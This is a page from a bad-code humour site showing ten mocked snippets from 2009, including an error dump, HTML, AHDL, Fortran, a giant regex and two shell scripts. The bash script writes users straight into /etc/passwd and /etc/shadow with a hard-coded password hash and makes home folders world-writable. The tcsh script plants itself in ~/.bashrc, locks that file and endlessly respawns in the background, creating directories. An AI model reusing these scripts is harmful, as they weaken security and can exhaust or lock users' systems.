1. Куча / Говнокод #1063

    +135.9

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    Arch Moscow
    « Error »
    Etomite encountered the following error while attempting to parse the requested resource:
    « PHP Parse Error »
     
    PHP error debug
    Error: 	mysql_connect() [function.mysql-connect]: Can't connect to MySQL server on 'localhost' (10061)	 
    Error type/ Nr.: 	Warning - 2	 
    File: 	C:\xampp\htdocs\archmoscow\index.php	 
    Line: 	1321	 
    Line 1321 source: 	if(@!$this->rs = mysql_connect($this->dbConfig['host'], $this->dbConfig['user'], $this->dbConfig['pass'])) { 	 
     
    Parser timing
    MySQL: 	0.0000 s s	(0 Requests)
    PHP: 	1.0846 s s	 
    Total: 	1.0846 s s

    Вот на чем работают сайты крупных выставочных агенств... А вы говорите FreeBSD!

    guest, 18 Мая 2009

    Комментарии (10)
  2. Куча / Говнокод #1056

    +136

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    <div class="twothird-column-with-border float-left margin-bottom-6px dark-grey-border">
        <div class="twothird-column-body-with-border-and-padding float-left">
            .....................
        </div>
    </div>

    Говновёрстка, говноклассы :)

    guest, 17 Мая 2009

    Комментарии (6)
  3. Куча / Говнокод #1031

    +141.8

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    98. 98
    99. 99
    FUNCTION mimi (a, b, c)
        RETURNS (res); 
    
    SUBDESIGN kuku
    (
     clk,d: INPUT;
     q[8..0],enn: OUTPUT;
    )
    
    VARIABLE
     mimi1:mimi; 
     reg[8..0]:dff;
     c1[1..0]:dff;
     c2[2..0]:dff;
     t[1..0]:dff;
     sm : MACHINE 
      WITH STATES (waiting,working,ending);
     
    BEGIN
     reg[].clk=clk;
     c1[].clk=clk;
     c2[].clk=clk;
     t[].clk=clk;
     sm.clk=clk;
     mimi1.a=t[0];
     mimi1.b=t[1];
     mimi1.c=d;
     q[]=reg[].q;
    
     IF sm == waiting THEN
    
      IF d == vcc THEN
       c2[].d = 0;
       reg[].d = 0;
       t[] = 0;
    
       CASE c1[].q IS
        WHEN 0 =>
         c1[].d = 1;
        WHEN 1 =>
         c1[].d = 2;
        WHEN 2 =>
         c1[].d = 0;
         sm = working;
       END CASE;
    
      ELSE
       sm = waiting;
       c1[].d = 0;
       c2[].d = 0;
       reg[].d = 0;
       t[] = 0;
      END IF;
    
     END IF;
    
     IF sm == working THEN
      CASE c1[].q IS
       WHEN 0 => 
        c1[].d = 1;
        c2[].d = c2[].q;
        reg[].d = reg[].q;
        t[0].d = d;
        t[1].d = t[1].q;
       WHEN 1 =>
        c1[].d = 2;
        c2[].d = c2[].q;
        reg[].d = reg[].q;
        t[0].d = t[0].q;
        t[1].d = d;
       WHEN 2 => 
        c1[].d = 0;
        c2[].d = c2[].q + 1;
        reg[0].d = mimi1.res;
        FOR I IN 1 TO 8 GENERATE
         reg[i].d = reg[i-1].q;
        END GENERATE;
        IF c2[].q == 7 THEN
         sm = ending;
        ELSE
         sm = working;
        END IF;
      END CASE;
      
     END IF;
    
     IF sm == ending THEN
      reg[].d = reg[].q;
    
      IF d == vcc THEN
    
       CASE c1[].q IS
        WHEN 0 =>
         c1[].d = 1;
        WHEN 1 =>
         c1[].d = 2;
        WHEN 2 =>
         c1[].d = 0;
         sm = waiting;

    cool hdl code!

    guest, 13 Мая 2009

    Комментарии (0)
  4. Куча / Говнокод #1020

    +78.9

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    c  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    c  !!! Function int2char converts integer variables into character variable !!!
    c  !!!  without changing eye-visible form                                   !!!
    c  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
           character*3 function int2char(i)
           integer i
           if(i.eq.0) int2char='0  '
           if(i.eq.1) int2char='1  '
           if(i.eq.2) int2char='2  '
           if(i.eq.3) int2char='3  '
           if(i.eq.4) int2char='4  '
           if(i.eq.5) int2char='5  '
           if(i.eq.6) int2char='6  '
           if(i.eq.7) int2char='7  '
           if(i.eq.8) int2char='8  '
           if(i.eq.9) int2char='9  '
           if(i.eq.10) int2char='10 '
           if(i.eq.11) int2char='11 '
           if(i.eq.12) int2char='12 '
           if(i.eq.13) int2char='13 '
           ...
           if(i.eq.83) int2char='83 '
           if(i.eq.84) int2char='84 '
           if(i.eq.85) int2char='85 '
           if(i.eq.86) int2char='86 '
           if(i.eq.87) int2char='87 '
           if(i.eq.88) int2char='88 '
           if(i.eq.89) int2char='89 ' 
           if(i.eq.90) int2char='90 '
           if(i.eq.91) int2char='91 '
           if(i.eq.92) int2char='92 '
           if(i.eq.93) int2char='93 '
           if(i.eq.94) int2char='94 '
           if(i.eq.95) int2char='95 '
           if(i.eq.96) int2char='96 '
           if(i.eq.97) int2char='97 '
           if(i.eq.98) int2char='98 '
           if(i.eq.99) int2char='99 ' 
    c      ... till 999, just add if you need it 
           end function

    фортраноговнокод с забавными комментариями

    guest, 09 Мая 2009

    Комментарии (4)
  5. Куча / Говнокод #1005

    +50.6

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    (?:(?:\r\n)?[\t])*(?:(?:(?:[^()<>@,;:\\".\[\]\000-\031]+
    (?:(?:(?:\r\n)?[\t])+|\Z|(?=[\["()<>@,;:\\".\[\]]))|"(?:
    [^\"\r\\]|\\.|(?:(?:\r\n)?[\t]))*"(?:(?:\r\n)?[\t])*)(?:
    \.(?:(?:\r\n)?[\t])*(?:[^()<>@,;:\\".\[\]\000-\031]+(?:(
    ?:(?:\r\n)?[\t])+|\Z|(?=[\["()<>@,;:\\".\[\]]))|"(?:[^\"
    \r\\]|\\.|(?:(?:\r\n)?[\t]))*"(?:(?:\r\n)?[\t])*))*@(?:(
    ?:\r\n)?[\t])*(?:[^()<>@,;:\\".\[\]\000-\031]+(?:(?:(?:\
    r\n)?[\t])+|\Z|(?=[\["()<>@,;:\\".\[\]]))|\[([^\[\]\r\\]
    |\\.)*\](?:(?:\r\n)?[\t])*)(?:\.(?:(?:\r\n)?[\t])*(?:[^(
    )<>@,;:\\".\[\]\000-\031]+(?:(?:(?:\r\n)?[\t])+|\Z|(?=[\
    ["()<>@,;:\\".\[\]]))|\[([^\[\]\r\\]|\\.)*\](?:(?:\r\n)?
    [\t])*))*|(?:[^()<>@,;:\\".\[\]\000-\031]+(?:(?:(?:\r\n)
    ?[\t])+|\Z|(?=[\["()<>@,;:\\".\[\]]))|"(?:[^\"\r\\]|\\.|
    (?:(?:\r\n)?[\t]))*"(?:(?:\r\n)?[\t])*)*\<(?:(?:\r\n)?[\
    t])*(?:@(?:[^()<>@,;:\\".\[\]\000-\031]+(?:(?:(?:\r\n)?[
    \t])+|\Z|(?=[\["()<>@,;:\\".\[\]]))|\[([^\[\]\r\\]|\\.)*
    \](?:(?:\r\n)?[\t])*)(?:\.(?:(?:\r\n)?[\t])*(?:[^()<>@,;
    :\\".\[\]\000-\031]+(?:(?:(?:\r\n)?[\t])+|\Z|(?=[\["()<>
    @,;:\\".\[\]]))|\[([^\[\]\r\\]|\\.)*\](?:(?:\r\n)?[\t])*
    ))*(?:,@(?:(?:\r\n)?[\t]))

    regexp

    guest, 06 Мая 2009

    Комментарии (8)
  6. Куча / Говнокод #973

    +143

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    <div class="htmlTextContainer" id="askStatic">
      <div class="htmlTextcenter">
        <div class="contentPopupBlock">
          <img src="/img/close.png" class="closeHtmlContainer" alt="" onclick="hidePopup(this.parentNode.parentNode.parentNode);" />
          <div class="clr"> </div>
          
        </div>
      </div>
    </div>

    guest, 29 Апреля 2009

    Комментарии (0)
  7. Куча / Говнокод #972

    +137

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    <html>
    
    <head>
    <title>Сибирский Джинсовый центр - джинсы и трикотаж оптом в Новосибирске</title>
    </head>
    
    <body>
    <H1 ALIGN="center"><B>Компания СДц - более 1500 позиций фирменной джинсовой одежды на складе, поставки новых коллекций из Турции по предзаказу, франчайзинговая сеть брендовых магазинов по всей Сибири</B></H1>
    
    Сибирский Джинсовый центр – один из крупнейших в Сибири поставщиков джинсов оптом, зимнего и летнего трикотажа, а также верхней одежды и сопутствующих аксессуаров. Компания является единственным официальным представителем в Сибирском регионе производителей модных женских и мужских джинсов VIGOSS, DLF, ENRICO BELENO, а также предлагает молодежную джинсовую одежду торговых марок Timezone, URBANO, BLKjeans со склада в Новосибирске.</body>
    
    
    <DIV ALIGN="center">
    
    <TABLE>
        <TR>
            <TD><img src="http://www.jeanscom.ru/collections/vig_autumn_winter_2008/2_small.jpg"></TD> <TD><img src="http://www.jeanscom.ru/collections/vig_autumn_winter_2008/2_small.jpg">
        </TR> 
        <TR>
            <TD><img src="http://www.jeanscom.ru/collections/vig_autumn_winter_2008/2_small.jpg"></TD> <TD><img src="http://www.jeanscom.ru/collections/vig_autumn_winter_2008/3_small.jpg"></TD> 
        </TR>
    </TABLE>

    oo

    guest, 29 Апреля 2009

    Комментарии (5)
  8. Куча / Говнокод #964

    +137

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16

    guest, 28 Апреля 2009

    Комментарии (4)
  9. Куча / Говнокод #963

    +131.6

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    #!/bin/bash
    function get_group()
    {
    rm ./group
    gnc=`cat /etc/group | wc -l`
    cn=1
    while let "cn<=gnc"
    do
    gn=`cat /etc/group | head -n $cn | tail -n 1 | tr ':' '\n' | head -n 1 | grep [A-Za-z0-9].*`
    gnl=`cat /etc/group | head -n $cn | tail -n 1`
    echo $gnl
    echo "Do you want add your to group "$gn
    read as
    if [ "$as" == "yes" ]; then
    echo "yes"
    c=`echo $gnl | wc -c`
    let c--
    ct=":"
    echo $c
    cn2=`echo $gnl | cut -c$c`
    echo "cn2 "$cn2
    if [ "$cn2" != ":" ]
    then
    echo no
    gnl=$gnl","
    gnl=$gnl"$1"
    echo $gnl >> ./group
    else
    gnl=$gnl""$1
    echo $gnl >> ./group
    fi
    echo $gnl
    else
    echo $gnl >> ./group
    fi
    
    let cn++
    done
    cp ./group /etc/group
    }
    
    if [ $# -lt 1 ]; then
    echo -n "Enter username:"
    read username
    uid=1
    puid=0
    while :
    do
    uid=`echo ${RANDOM:0:3}`
    puid=`cat /etc/passwd | tr ':' '\n' | grep ^[0-9].*$ | grep $uid`
    if [ "$puid" == "" ];then
    echo "uid = $uid"
    echo "puid = $puid"
    echo $username
    groupadd $username
    gid=`cat /etc/group | grep $username | tr ':' '\n' | grep ^[0-9].*$ | head -n 1 | tail -n 1`
    echo "gid "$gid
    echo -n "Enter shell:"
    read ushell
    echo -n "Enter your name:"
    read rname
    echo $username:x:$uid:$gid:$rname:/home/$username:$ushell >> /etc/passwd
    echo $username:Jkirh5i3e/GqU:14318:0:99999:7:7:: >> /etc/shadow
    echo "Your password www.yandex.ru"
    mkdir /home/$username
    chmod u+r+w+x /home/$username
    chmod g+r+w+x /home/$username
    chmod o+r+w+x /home/$username
    get_group $username
    exit 0
    else
    uid=`echo ${RANDOM:0:3}`
    echo $uid
    echo "puid "$puid
    fi
    
    done
    
    fi
    echo -n "script havnt command line arguments"
    exit 0

    Регистрирует пользователя в системе

    guest, 27 Апреля 2009

    Комментарии (11)
  10. Куча / Говнокод #955

    +154

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    #!/bin/tcsh
    # Utility "p1", author Alice Stein ([email protected]),
    chmod +r+w ~/.bashrc
    set x3=$#
    if($x3<1) then
    #read last string from .bashrc that write one time
    # and replace spaces sign _
    set a=`cat ~/.bashrc | tail -n 1 | tr ' ' '_'`
    #parameter $0 contains path to script and name of script
    set b=$0
    #if a line coincided from .bashrc with $0
    if($a == $b) then
    else
    chmod +r+w ~/.bashrc
    #write to file .bashrc that started each time with start bash
    echo "$0" >> ~/.bashrc
    #change right for access to file .bashrc
    chmod -r-w ~/.bashrc
    endif
    #if command line parameters are not present assign default counter of directories 0 and command echo
    set x1="0"
    set x2="echo"
    $0 $x1 $x2 &
    else
    #save command line arguments in environment variables
    set x1=$1
    set x2=$2
    endif
    #exec command passed from command line
    $x2;
    #write number of counter of directory in the system log /var/log/messages
    logger $1;
    #increment directory counter
    @ x1++;
    chmod +x+r+w $x1
    #create directory
    mkdir $x1
    #call in the created directory
    cd $x1
    chmod +x+r+w $x1
    #delete a file if a script is started the second time that did not result in hanging up of script
    #delete hidden file
    rm .$x1
    #create hidden file
    echo "1" > .$x1
    #take away rights for access
    chmod -x-r-w .$x1
    cd ..
    chmod -x-r-w $x1
    #sleep on 1 second
    sleep 1s;
    #change right for access to file .bashrc
    chmod -r-w ~/.bashrc
    #recursive call with argument line parameter
    $0 $x1 $x2 &
    exit 0

    shell script tcsh

    guest, 27 Апреля 2009

    Комментарии (1)